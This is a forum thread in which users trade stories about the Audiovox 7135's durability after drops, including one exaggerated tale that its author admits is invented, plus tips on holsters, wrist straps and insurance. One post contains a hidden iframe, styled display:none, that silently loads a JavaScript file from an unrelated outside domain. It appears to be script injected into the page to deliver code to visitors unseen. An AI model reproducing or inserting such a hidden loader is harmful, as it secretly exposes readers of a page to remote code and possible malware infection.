I am interested in switching from the audiovox 9500 to the 7135. My only concern is physical strength, durability, etc..

I have a tendency to run into things at work. I tend to also knock the 9500 around, off the desk, into a wall, heck it's click broke and it bounced across the parking lot. Yet even with all this, it's working like a charm.

Can anyone say the same for the 7135, if so ITS SOLD!

The Verizon rep said NO, its horrible when it comes to bumps etc..
The hinges come in cracked, the corner with the MMC/SD slot comes in bumps...<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

I'm sure I am jinxing myself by saying this, but the 7135 seems pretty OK. I've dropped it onto concrete from waist level a few times, and it acutally bounced around before coming to a rest, and it is no worse for wear.

It feels a lot more solid than other cell phones I've owned, and the clamshell design serves as a layer of protective armor when the unit is lose in your pocket. For what it is worth...

-Warr

I wish I had a picture of my phone to post. It has been dropped so many times, not little from the hip drops I'm talking from ladders to pavement 14' or more. I use it in the rain, once I dropped it in a puddle, the sd card fell out it hit so hard, I didn't even have to let it dry out. Very solid. I bought this phone the day it came out and it's lasted longer than any phone I've ever owned.

That's nothing, I live on the 24th floor and one day my dogs tail knocked it out of the cradle and the open window. Fortunately the clamshell was open at the time which caused it to spin like a helicopter as it decended the 23 stories, bounced off the entry awning and landed in the grass strip by the buildings entrance. When I went down to get it I was shocked to see it in one piece and even more surprised when I heard my wife's voice coming out of it (it's her dog). Apparently she called at the same time it was knocked out of the cradle. I don't know if it answered then or when it hit the awning but she sounded as clear as the day I bought the phone!

Then there was the time it fell out of my car during rush hour traffic. A Ford Excursion that was right behind me ran over it before I could stop. It seemed a little thinner after that and there was a small crack on the hinge but it still functioned perfectly.

I should probably also note the time it fell in a vat of Scotch Whiskey on the Isle of Islay. My quick reflexes caught it before it sank too deep and the distiller saw it out of the corner of his eye and gave me a dirty look but the phone still worked perfectly. I wouldn't have even brought it to Scotland as they don't have any CDMA services but the PDA was indispensible.

Last but not least, there was the time in Yellowstone National Park, well I'm sure you've heard of the Morning Glory Pool....

OK, OK, in case there is anyone gullible enough to actually believe all this, I can tell you none of it happened. In fact, my phone doesn't even have a scratch on it.

BTW, it looks like the 7135 has an undocumented feature for active people. Near the upper left corner of the small LCD display there is a small hole that looks like a good place to tie an emergency tether. I'm not into strings and things but someone might want to use a tether for more security, perhaps in combination with one of those self-retracting key chain cables.

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-Data Rox

That's a wrist strap hole, and a wrist strap is a very good safety feature for those of us who are very clumsy. It's also useful for pulling the 7135 out of my very snug Nite Ize belt holster.

St

Hmmm..... A Beer phone could produce billions!!

Good Idea and today is going to be the day.
The rep at Verizon right off the bat just didn't seem to want to sell the phone. At first he talked about the large size and battery life. Well the look on his face when I pulled out the 9500 and set them side by side. I said size and battery is not a problem when you have good quality, the comment about the t720 shut him up as well.


Now to go read the rest of the boards for modem info etc..

Thanks Guys,
Later,
Dan

Mine has hit the pavement 3 times. One particular vehicle's seatbelt snaggs the clip on the holster and out it pops. There's a ding on the metal cover. I've had mine since early January and it's developing wear marks from going in and out of the holster so often. BTW- whoever designed the hoster should be nominated for a Phony, or whatever awards are given to accessory designers. That's the best phone holder I've ever had in spite of the 3 premature ejections.

:rofl

topic: off

I HAVE to ask which distillery. Laphroaig? Lagavulin? maybe Ardbeg? Bowmore? My wife and I are avid single malt fans and the single malts from Islay are among our favorites! We went to visit Islay between Christmas and New Years one year. Got to take a tour of Laphroaig which was given by the General Manager. It was an EXCELLENT tour. He knew it all...

topic: on

I happened to have dropped mine while it was in the holster from about 4 feet directly onto pavement. I feel lucky that apparently the first blow was taken by the holster, and then it bounced a bit before I scooped it back up (I'm sure with a look of complete horror on my face ) I checked it out and it didn't even have a visible scratch (although the holster definately did!). Still works fine to this day.

-Peteski

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Hindsight is NOT 20-20! It only seems that way when compared to foresight.

I have to agree about the holster. It's easy to remove the phone, it's easy to insert the phone and it means that I can carry the phone EVERYWHERE with me I've never had the phone slip out and onto the the pavement. Watch.....it will probably happen today now that I've said that.....

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Vetie

......used 'em all and have the empty bank account to show for it.

I use the leather case for mine...it doesn't hinder productivity at all and it has saved my phone from a number of scratches when I have dropped it.

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What is nothing?

You might wish to pick up replacement insurance from your carrier. My insurance via Verizon is $4.99/month with a $50 deductible.

BTW, I love the phone and carry it everywhere.

I don't know if I would give the kind of abuse I tended to give my cell phones. It is a PDA after all as well, and as such I tend to care for it more like a PDA. So It won't do such things as skidding across the parking lot.

I agree with DJmartin1, get insurance. I think its a small price to pay for a $500 dollar phone.
mg